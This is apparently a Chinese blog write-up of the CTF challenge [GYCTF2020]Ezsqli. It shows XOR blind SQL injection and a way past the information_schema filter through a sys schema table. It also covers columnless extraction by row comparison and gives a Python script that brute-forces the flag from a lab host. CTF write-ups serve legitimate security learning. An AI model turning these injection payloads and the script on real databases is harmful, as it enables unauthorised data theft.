刷题笔记:[GYCTF2020]Ezsqli


前言

关键词:[孙笑川|二分法崩溃]

开局孙笑川,晦气,真的晦气。

这题貌似做过,但是我忘了

题解

有注入检测,所以先fuzz一下。

id=sleep不会被检测,id=1sleep才会

检测字符

id=1^0 =>Nu1L

id=1^1 =>Error Occured When Fetch Result.

异或盲注,先用脚本跑个库名

give_grandpa_pa_pa_pa

接下里的问题是information_schema.tables被检测了,可以换成sys.schema_table_statistics_with_buffer

跑出表名

users233333333333333,f1ag_1s_h3r3_hhhhh

跑的时候才发现把数据库名give_grandpa_pa_pa_pa也给检测了……

因为information_schema被检测了,不能继续跑列名,所以接下来只能无列名注入

ASCII偏移

因为检测join,所以只能用ascii偏移跑

select (select 'b') > (select 'abcdefg')
#返回1
select (select 'b') > (select 'c')
#返回0
select (SELECT 'bb') > (select 'ba')
#返回1
select (SELECT 1,'bb') > (select 1,'ba')
#返回1
select (SELECT 1,'bb') > (select 2,'ba')
#返回0
select (SELECT '1') > (select 'a')
#返回0
select (SELECT 1) > (select 'a')
#返回1
select (SELECT 1) = (select '1')
#返回1
select (SELECT 1) > (select '~')
#返回1
select (SELECT 'flag') > (select 'f')
#返回1

比较的时候,1=’1’,但’1’<’a’,且1>’a’,经测可知,数字>字符。

于是构造payload,先测出f1ag_1s_h3r3_hhhhh表的列数

1^((select 1,2)>(select * from f1ag_1s_h3r3_hhhhh)) =>Error Occured When Fetch Result.
1^((select 1,2)>(select * from f1ag_1s_h3r3_hhhhh))^1 =>Nu1L

所以列数为2

然后就是跑脚本吧。

无语了,折腾了好几个小时,发现这到底没法写成平时用的二分法代码,只能老老实实一个一个跑。真无语了,浪费那么多时间。

select (SELECT 'flag') > (select 'f')
#这是返回1的,二分脚本中定值>变量形式要求这个返回0,所以没法整。
换成定值<变量形式,又受盲注限制,无法正常结束二分查找循环。
import requests
import time


def to_hex(s):  # 十六进制转换 fl ==> 0x666c,可以避免一些如"fla""这种符号问题导致执行错误以及检测bypass
    res = ''
    for i in s:
        res += hex(ord(i)).replace('0x', '')
    res = '0x' + res
    return res


url = "http://c9046ab0-ea20-4cee-b30d-f37009ba61da.node4.buuoj.cn/"
s = ""
last = 'tmp'
while(s.strip() != last):
    for j in range(33, 127):
        time.sleep(0.1)
        flag = s + chr(j)
        payload = "1^((1,{0})>(select * from f1ag_1s_h3r3_hhhhh))^1".format(to_hex(flag))
        data = {
            "id": payload
        }
        r = requests.post(url, data=data)
        if b"Nu1L" in r.content:
            last = s.strip()
            s += chr(j-1)  # 'F'<'FLAG','G'>'FLAG',所以要减1
            print(s)
            break

buuctf上flag还得转成小写才能提交。


文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录